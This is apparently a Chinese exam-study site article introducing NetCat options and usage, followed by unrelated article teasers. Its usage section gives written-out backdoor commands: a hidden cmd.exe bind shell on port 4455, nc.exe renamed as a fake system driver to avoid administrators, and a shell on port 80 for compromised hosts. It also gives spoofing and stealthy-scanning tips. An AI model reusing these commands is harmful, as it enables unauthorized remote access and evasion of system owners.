NetCat简介与使用方法

精品学习网考试频道小编应广大考生的需要,特为参加考试的考生策划了“NetCat简介与使用方法”专题等有关资料,供考生参考!

在入侵中它是最经典的工具之一 ,NetCat被所有的网络安全爱好者和研究者称之为瑞士军刀,通过名字大家就能知道他的功能足够丰富。

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat并不能产生UDP连接,因为UDP是一种无连接的协议。NetCat没有图形界面,很粗糙,很原始。

nc的命令行

nc的基本命令行形式是 nc [options] host ports,其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。

-d 只对Windows操作系统有用,该选项使NetCat以隐蔽模式工作,从而脱离MS-DOS命令提示符下环境运行,使得nc不需要保持打开命令窗口便可在监听模式下运行,也可以帮助黑客很好地隐藏监听NetCat实例而不被系统管理员发现。

-e 如果NetCat使用gaping_security_hole选项进行编译,那么只要某人在NET后台所监听的任何端口上建立连接,该NetCat都将执行,且客户端的NetCat会通过管道将I/O传输到在别处监听的另一个NetCat实例中。使用这个选项非常危险,除非你对nc相当了解,起码知道你自己在做什么。这是在系统中建立后门shell的一个非常快捷且容易的方法。

-i 延时间隔,表示在两次数据发送之间nc等待的时间。例如:当经过管道传输一个文件到nc的时候,在传输输入的下一行之前,nc将等待的秒数。当使用nc对一台主机的多个端口之间进行操作时,在切换到下一个端口之前,nc等待的秒数。这样可以使黑客在进行数据传输或对一个服务进行攻击的时候更加隐蔽,也可以帮助你的端口扫描不被入侵检测系统和系统管理员发现。

-g这个选项具有欺骗性。nc支持loose source routing(松散源路由)。你可以在命令行中指定多达8个-g选项来强迫nc流量经过特定的IP地址,这在你为流量设置伪造的源IP地址时,可以利用这个方法达到通过防火墙的过滤器或者允许访问主机列表,希望接收到从主机返回的响应。

-G该选项让用户在-g选项所指定的路由列表中指定的一个地址作为当前的下一路由,由于IP地址为4字节大小(IPV4),所以这个参数总是4字节的倍数;例如,4代表路由表中的第一个IP地址,8代表第二个IP地址,依次类推。这在伪造部分源路由表使得报文看起来相当的有用。在进行欺骗和源路由时,这个功能有助于屏蔽你的位置,但也不一定能接收到响应报文,因为响应报文将经过由伪造的IP地址反路由回来。

-l 该选项切换nc的监听模式。此选项必须与-p选项一起使用以告诉nc绑定某个指定的TCP端口并等待到来的连接。若换成-u选项,则应使用UDP端口而非TCP端口。

-L 该选项在Windows版本中有用,当一个连接被关闭后,使用相同的命令行选项进行重启监听模式,即使此时初始的连接已经结束,nc也能在不需要用户干涉的情况下接收后面新的连接。与-l一样,必须与-p同时使用。

-n 该选项告诉我们nc不做任何主机名查找的工作。

-0对数据执行一次十六进制转储(hex dump )并将其存储在hexfile中。命令nc-o hexfile将把双向通信的数据记录下来,在每行的开始处会有一个“<"或">”用来分别指示是进入数据还是外出数据。如果只想得到对进入数据的十六进制转储,可以使用 nc -ohexfile命令。

-p 让用户指定一个nc应使用的本地端口号。当通过-l或-L选项来使用监听模式的时候,这个参数是必需的。如果没有为外出连接指定这个参数,则与大多数其他TCP或UDP客户程序的做法一样,nc将使用系统分配给他的任何端口。

-r 该参数使nc可以随机选择本地和远程端口。当使用nc在系统中范围很大的一批端口上获取信息时,要想混合源端口和目标端口的顺序看起来不怎么象端口扫描,这个选项是很有用的。当这个选项与-i选项和一个足够大的间隔结合使用的时候,在不被注意的端口扫描成功几率能得到很大提升。

-s 指定nc建立连接时所使用的IP地址,该选项允许黑客做一些工作,它允许黑客隐藏他们的IP地址或假冒他人的IP地址,但是要得到路由到他们所欺骗的地址的任何信息,都需要使用-g源路由选项。其次,当处于监听模式时,大多数情况下都可以与一个已经监听的服务“预先绑定”,所有TCP和UDP服务都绑定到某个端口。

-t 如果使用telnet选项编译,nc就可以与telnet服务器进行telnet选项协商,虽然它的响应是毫无意义的信息,但可以通过该状态看到连接23端口的信息。

-u nc使用UDP而非TCP,在客户模式和监听模式下都起作用。

-v 控制nc将要做的事情达到的程度,如使用nc -v,那么nc将仅吐出它所接收到的数据,一个单独的-v可以知道它连接或绑定的地址是否有问题发生,第2个-v可以让nc在一个连接结束的时候让你知道这个连接总共发送和接收了多少数据。

-w控制在一个连接上nc放弃之前等待的时间。同时也告诉nc当在标准输入上接收到一个eof(end-of-file)之后应该等待多长时间来关闭连接并退出。如果你通过nc向远程服务器发送命令并且期望大量的数据返回(例如:向一台web服务器发送一个http命令以下载一个大文件),该选项是很有用的。

nc的具体使用

c: c.exe -l -p 4455 -d -e cmd.exe 可以很好的隐藏一个NetCat后门。

c: c.exe -p 4455 -d -L -e cmd.exe 这个命令可以让黑客利用NetCat重新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,我们一样可以把它做的更加隐蔽,

c:\move nc.exe c:\windows\system32\Drivers\update.exe

c:\windows\systeme32\drivers\update.exe -p 4455 -d -L -e cmd.exe

系统管理员可能把特权附属于一些无害的程序,如update.exe等,黑客也可以隐藏命令行。

c:\windows\systme32\drivers\update.exe

cmd line: -l -p 4455 -d -L -e cmd.exe

c:\>

nc -l - p 80 监听80端口

nc -l -p 80 >c:\log.dat 监听80端口,并把信息记录到log.dat中

nc -v -l -p 80 监听80端口,并显示端口信息

nc -vv -l -p 80 监听80端口,显示更详细的端口信息

nc -l -p 80 -t -e cmd.exe监听本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在控制的肉鸡上。

nc -v ip port 扫瞄某IP的某个端口

nc -v -z ip port-port扫描某IP的端口到某端口

nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口

时间: 2024-10-12 12:36:22

NetCat简介与使用方法的相关文章

SAP Web Service简介与配置方法

p.MsoNormal { margin: 0pt; margin-bottom: .0001pt; text-align: justify; font-family: Calibri; font-size: 10.5000pt } h1 { margin-top: 17.0000pt; margin-bottom: 16.5000pt; margin-left: 0.0000pt; text-indent: 21.0000pt; page-break-after: avoid; text-al

PHP Socket(套接字连接)扩展简介和使用方法

PHP socket扩展是基于流行的BSD sockets,实现了和socket通讯功能的底层接口,它可以和客户端一样当做一个socket服务器. 使用这些函数时请注意,虽然他们中有很多和C函数同名的,但声明却很可能不同.未避免混淆,请仔细阅读函数描述. 不熟悉socket编程的可以在Unix手册上找到很多有用的信息,网上也有很多C socket编程方面的教程,简单修改一下就可以应用于PHP socket编程. 第一步:开启socket 到php.ini开启extension=php_socke

xUtils简介及其使用方法

xUtils简介 xUtils 包含了很多实用的android工具. xUtils 支持大文件上传,更全面的http请求协议支持(10种谓词),拥有更加灵活的ORM,更多的事件注解支持且不受混淆影响... xUitls 最低兼容android 2.2 (api level 8) 目前xUtils主要有四大模块: DbUtils模块: android中的orm框架,一行代码就可以进行增删改查: 支持事务,默认关闭: 可通过注解自定义表名,列名,外键,唯一性约束,NOT NULL约束,CHECK约束

JSR 303 - Bean Validation 简介及使用方法

一.JSR-303简介 JSR-303 是 JAVA EE 6 中的一项子规范,叫做 Bean Validation,官方参考实现是Hibernate Validator. 此实现与 Hibernate ORM 没有任何关系. JSR 303 用于对 Java Bean 中的字段的值进行验证. Spring MVC 3.x 之中也大力支持 JSR-303,可以在控制器中对表单提交的数据方便地验证. 注:可以使用注解的方式进行验证 二.准备校验时使用的JAR validation-api-1.0.

TCP/IP协议族(一) HTTP简介、请求方法与响应状态码

接下来想系统的回顾一下TCP/IP协议族的相关东西,当然这些东西大部分是在大学的时候学过的,但是那句话,基础的东西还是要不时的回顾回顾的.接下来的几篇博客都是关于TCP/IP协议族的,本篇博客就先简单的聊一下TCP/IP协议族,然后聊一下HTTP协议,然后再聊一下SSL上的HTTP(也就是HTTPS)了.当然TCP/IP协议族是个老生常谈的话题,网络上关于该内容的文章一抓一大把呢,但是鉴于其重要性,还是有必要系统的总结一下的. 一.TCP/IP协议组简述 在聊HTTP与HTTPS之前呢,我们先简

python学习之路-1 python简介及安装方法

python简介 一种面向对象.解释型计算机程序设计语言,由Guido van Rossum于1989年发明,第一个公开发行版发行于1991年. 目前最新版本为3.5.1,发布于2015年12月07日. 语法简洁清晰,特色之一是强制用空白符(white space)作为语句缩进. 具有丰富和强大的库,底层是用 C 语言写的,很多标准库和第三方库也都是用 C 写的,运行速度非常快. 极其容易上手,因为Python有极其简单的说明文档. 免费.开源,是FLOSS(自由/开放源码软件)之一.使用者可以

linux nload命令简介及安装方法

第一步:nload命令简介 nload 命令用于查看linux网络流量状况,实时输出.可以理解为是一个控制台应用程序,用来实时监测网络流量和带宽使用情况的命令. 使用可视化的界面显示流入和留出系统的网络带宽数据. 安装后的使用截图(screenshot)如下: 第二步:nload下载 安装前最好安装以下依赖 yum install gcc gcc-c++ ncurses-devel  官网为:http://www.roland-riegel.de/nload/ xshell登陆到linux,然后

python简介及安装方法

python简介 一种面向对象.解释型计算机程序设计语言,由Guido van Rossum于1989年发明,第一个公开发行版发行于1991年. 目前最新版本为3.5.1,发布于2015年12月07日. 语法简洁清晰,特色之一是强制用空白符(white space)作为语句缩进. 具有丰富和强大的库,底层是用 C 语言写的,很多标准库和第三方库也都是用 C 写的,运行速度非常快. 极其容易上手,因为Python有极其简单的说明文档. 免费.开源,是FLOSS(自由/开放源码软件)之一.使用者可以

函数式编程简介-附入门方法

WHAT? 什么是函数式编程? 函数式编程是一种编程范式. 编程范式又是什么? 编程范式是一种解决问题的思路. 我们熟悉的命令式编程把程序看作一系列改变状态的指令:而函数式编程把程序看作一系列数学函数映射的组合. 编程范式和编程语言无关,任何编程语言都可以按照函数式的思维来组织代码. i++; // 命令式 关心指令步骤 [i].map(x => x + 1); // 函数式 关心映射关系 WHY? 函数式有什么好处? 易写易读 聚焦重要逻辑,摆脱例如循环之类的底层工作 易复用 面向对象可复用的